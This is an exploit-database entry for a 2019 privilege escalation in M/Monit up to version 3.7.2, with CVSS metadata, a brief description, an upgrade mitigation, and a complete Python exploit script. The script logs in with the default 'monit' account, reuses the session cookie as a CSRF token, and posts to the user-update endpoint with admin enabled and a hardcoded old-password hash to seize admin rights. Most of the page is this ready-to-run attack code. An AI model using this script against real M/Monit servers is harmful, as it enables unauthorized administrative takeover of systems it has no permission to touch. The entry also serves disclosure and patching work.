M/Monit - exploit.company

vendor:

M/Monit

by:

Dolev Farhi

8.8

CVSS

HIGH

Privilege Escalation

264

CWE

Product Name: M/Monit

Affected Version From: 2.0.151021

Affected Version To: 3.7.2

Patch Exists: YES

Related CWE: N/A

CPE: //a:mmonit:mmonit

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: N/A

2019

M/Monit <= 3.7.2 - Privilege Escalation

This exploit allows an unprivileged user to gain admin privileges in M/Monit version 2.0.151021. The exploit uses a POST request to the '/admin/users/update' endpoint with a specially crafted payload. The payload includes the username and password of the unprivileged user, as well as a specially crafted 'oldpassword' parameter. If the request is successful, the unprivileged user will be granted admin privileges.

Mitigation:

Upgrade to M/Monit version 3.7.3 or later.

Source

Exploit-DB raw data:

#!/usr/env/python3

"""
	Vulnerability title: M/Monit <= 3.7.2 - Privilege Escalation
	Author: Dolev Farhi
	Vulnerable version: 2.0.151021	
 	Link: https://mmonit.com
 	Date: 2/17/2019
"""

import sys
import requests

MMONIT_URL  = 'http://ip.add.re.ss:8080'
MMONIT_USER = 'monit' # Default built in unprivileged user
MMONIT_PASS = 'monit'

s = requests.Session()

s.get(MMONIT_URL + '/')

resp = s.post(MMONIT_URL + '/z_security_check', params={'z_username':MMONIT_USER,'z_password':MMONIT_PASS})

if 'Invalid username and/or password' in resp.text:
	print('Error logging in')  
	sys.exit(1)


zessionid = s.cookies.get_dict()['zsessionid']

headers = {
		'CSRFToken':zessionid,
}

resp = s.post(MMONIT_URL + '/admin/users/update',  
					headers=headers, 
					params={'CSRFTOKEN':zessionid,
							'fullname':'john doe',
							'password':MMONIT_USER,
							'title':'',
							'email':'',
							'phone':'',
							'mobile':'',
							'imname':'',
							'uname':MMONIT_PASS,
							'imtype':None,
							'admin':'on',
							'oldpassword':'D9CFD4AF77E33817DE2160E0C1C7607C'
							})

if resp.status_code == 200:
	print('Success! You are now M/Monit admin')
else:
	print('Something went wrong')